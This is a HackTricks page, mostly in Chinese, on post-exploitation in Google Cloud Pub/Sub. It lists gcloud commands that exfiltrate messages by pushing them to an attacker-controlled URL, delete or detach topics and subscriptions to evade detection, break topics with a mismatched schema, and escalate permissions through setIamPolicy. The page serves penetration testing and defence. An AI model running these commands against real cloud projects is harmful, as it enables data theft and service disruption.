GCP - Pub/Sub Post Exploitation

支持 HackTricks

Pub/Sub

有关 Pub/Sub 的更多信息,请查看以下页面:

GCP - Pub/Sub Enum

pubsub.topics.publish

在主题中发布消息,适用于发送意外数据并触发意外功能或利用漏洞:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

用于防止订阅接收消息,可能是为了避免检测。

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

删除主题可以防止订阅接收消息,可能用于避免检测。 即使主题附有订阅,也可以删除该主题。

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

使用此权限更新主题的一些设置以破坏它,例如 --clear-schema-settings--message-retention-duration--message-storage-policy-allowed-regions--schema--schema-project--topic-encryption-key...

pubsub.topics.setIamPolicy

授予自己执行任何前述攻击的权限。

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

在一个 web 服务器上获取所有消息:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

创建一个订阅并使用它来拉取消息

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

删除订阅 可能对中断日志处理系统或类似系统有用:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

使用此权限更新某些设置,以便将消息存储在您可以访问的地方(URL、Big Query 表、Bucket),或者只是为了破坏它。

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

给自己所需的权限以执行前面提到的任何攻击。

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

将一个schema附加到一个topic上,使消息不符合它,从而破坏该topic。 如果没有任何schemas,你可能需要创建一个。

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

这看起来像是删除一个 schema,你将能够发送不符合该 schema 的消息。然而,由于 schema 将被删除,实际上没有消息会进入主题。因此这是无用的

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

给自己分配执行前面提到的任何攻击所需的权限。

pubsub.snapshots.create, pubsub.snapshots.seek

这将创建所有未确认消息的快照并将其放回订阅中。对攻击者来说不是很有用,但这里是:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
支持 HackTricks

Last updated